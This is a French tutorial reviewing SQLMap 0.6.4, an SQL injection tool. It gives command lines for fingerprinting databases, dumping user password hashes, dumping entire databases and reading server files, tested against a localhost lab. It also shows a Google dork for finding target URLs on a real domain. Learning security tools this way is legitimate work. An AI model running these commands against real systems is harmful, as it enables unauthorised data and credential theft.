SQLMap 0.6.4 est un outil open source d’injections automatiques de requêtes SQL. Cet outil détecte et exploite les vulnérabilités du type injection SQL sur les applications web. Si une, ou plusieurs, vulnérabilités du type injection SQL sont détectées sur le serveur cible, l’utilisateur pourra sélectionner différentes options dont deviner le type et la version de la base de donnée cible, récupérer la session de l’utilisateur en cours, énumérer les utilisateurs, les hash des mots de passe, les privilèges des utilisateurs, les bases de données hébergées, ou récupérer la base de donnée complète, etc.
SQLMap supporte MySQL, Oracle, PostgreSQL, Microsoft SQL, mais peut aussi identifier les bases de données du type Microsoft Access, DB2, Informix, Sybase et Interbase.
Cette analyse ne porte que sur la version 0.6.4. Une nouvelle version 0.7 est actuellement en cours de développement et celle-ci sera étudiée dès qu’elle sortira en version stable.
- Choisir son type de cible
SQLMap propose de cibler une URL précise par le biais de l’option “-u” (-u URL).
python sqlmap.py -u http://localhost/index.php?id=1
Il est aussi possible de cibler des URL par le biais des logs générés par les proxy d’interception WebScarab ou Burp.
python sqlmap.py -l LIST
Il est possible d’utiliser SQLMap en chargeant un fichier de configuration spécifique, par défaut celui-ci se nomme “sqlmap.conf“.
python sqlmap.py -c CONFIGFILE
Mais une des options la plus intéressante est le “GOOGLEDORK” permettant la recherche de URL cible par le biais de Google.
python sqlmap.py -g "site:zataz.com ext:php"
- Effectuer un fingerprint du type de base de donnée
python sqlmap.py -u http://localhost/index.php?id=1 -f
- Récupérer la bannière de la base de donnée
python sqlmap.py -u http://localhost/index.php?id=1 -b
- Retrouver l’utilisateur SQL qui exécute le script vulnérable
python sqlmap.py -u http://localhost/index.php?id=1 --current-user
- Retrouver la base de donnée en cours d’utilisation
python sqlmap.py -u http://localhost/index.php?id=1 --current-db
- Détecter si l’utilisateur SQL qui exécute le script est un utilisateur administrateur
python sqlmap.py -u http://localhost/index.php?id=1 --is-dba
Ci dessous les résultats avec l’utilisateur MySQL “sqlinjection” qui n’a que les droits SELECT sur la base de donnée “sqlinjection“.
Ci dessous les résultats avec l’utilisateur MySQL “root” qui a tous les droits sur toutes les bases de données.
- Retrouver la liste complète des utilisateurs SQL
python sqlmap.py -u http://localhost/index.php?id=1 --users
Ne fonctionne que si l’utilisateur SQL a les droits de création d’autres utilisateurs SQL, par exemple l’utilisateur root MySQL.
- Retrouver les hash des mots de passe des utilisateurs SQL
python sqlmap.py -u http://localhost/index.php?id=1 --passwords
Si l’option “-U” est spécifiée, il est possible de cibler un utilisateur SQL en particulier. Bien sûr cette fonctionnalité n’est possible que si l’utilisateur SQL a les droits de gestion des utilisateurs.
- Retrouver les droits des utilisateurs SQL
python sqlmap.py -u http://localhost/index.php?id=1 --privileges
Si l’option “-U” est spécifiée, il est possible de cibler un utilisateur SQL en particulier.
- Retrouver la liste des bases de données visibles par l’utilisateur MySQL
python sqlmap.py -u http://localhost/index.php?id=1 --dbs
Ci-dessous les bases de données retrouvées par le biais de l’utilisateur MySQL “sqlinjection”
Ci-dessous les bases de données lorsque l’utilisateur SQL visé est un utilisateur administratif.
- Retrouver la liste des tables des bases de données visibles par l’utilisateur MySQL
python sqlmap.py -u http://localhost/index.php?id=1 --tables
Ci-dessous les tables des bases de données retrouvées par le biais de l’utilisateur MySQL “sqlinjection”
Il est possible de cibler une base de donnée spécifique avec l’option “-D“.
python sqlmap.py -u http://localhost/index.php?id=1 --tables -D sqlinjection
Il est aussi possible d’exclure les bases de données systèmes et administratives par le biais de l’option “–exclude-sysdbs”
python sqlmap.py -u http://localhost/index.php?id=1 --tables --exclude-sysdbs
- Retrouver la structure d’une table d’une base de données
python sqlmap.py -u http://localhost/test1.php?id=1 --columns -D sqlinjection -T sqlinjection
L’option “-D” permet de spécifier la base de donnée concernée, et l’option “-T” permet de spécifier la table concernée.
- Récupérer le contenu des bases de données
python sqlmap.py -u http://localhost/test1.php?id=1 --dump -D sqlinjection -T sqlinjection
Toutes les données récupérées sont sauvegarder dans un fichier excel, que l’on peut analyser de part la suite localement.
Il est possible de filtrer le champ spécifique que l’on désire récupérer par le biais de l’option “-C“.
python sqlmap.py -u http://localhost/test1.php?id=1 --dump -D sqlinjection -T sqlinjection -C secret
Il est aussi possible de récupérer qu’un certain nombre de résultats lors du DUMP de la base de la table par le biais des options “–start” et “–stop”
python sqlmap.py -u http://localhost/test1.php?id=1 --dump -D sqlinjection -T sqlinjection -C secret --start 1 --stop 1
- Récupérer le contenu entier des bases de données
python sqlmap.py -u http://localhost/test1.php?id=1 --dump-all
- Exécuter des requêtes SQL spécifiques
L’option “–sql-query” va vous permettre d’exécuter des requêtes SQL spécifiques, comme le montre l’exemple ci-dessous :
python sqlmap.py -u http://localhost/test1.php?id=1 --sql-query="SELECT secret from sqlinjection" -D sqlinjection
Deux questions vous seront posées lors de l’exécution de la requête SQL. La première vous demandera si le résultat pourra retourner plusieurs entrées ou non, la deuxième question vous demandera si vous désirez retournez tous les résultats ou une sélection de votre choix.
- Lire un fichier aléatoire sur le système par le biais de MySQL.
L’option “–read-file” permet à sqlmap, uniquement pour MySQL en version 0.6.4 de sqlmap, de charger un fichier aléatoire présent sur le système de fichier du serveur cible. Cette récupération n’est possible que si l’utilisateur MySQL en cours a le privilège “FILE“. Il faut que le fichier cible ai les droits de lecture pour tous, ou que l’utilisateur système MySQL y ai accès.
Dans l’exemple ci-dessous, nous avons créé un fichier test.txt contenant la séquence “passwd = toto” et situé à la racine du serveur web.
python sqlmap.py -u http://localhost/test1.php?id=1 --read-file=/Library/WebServer/Documents/test.txt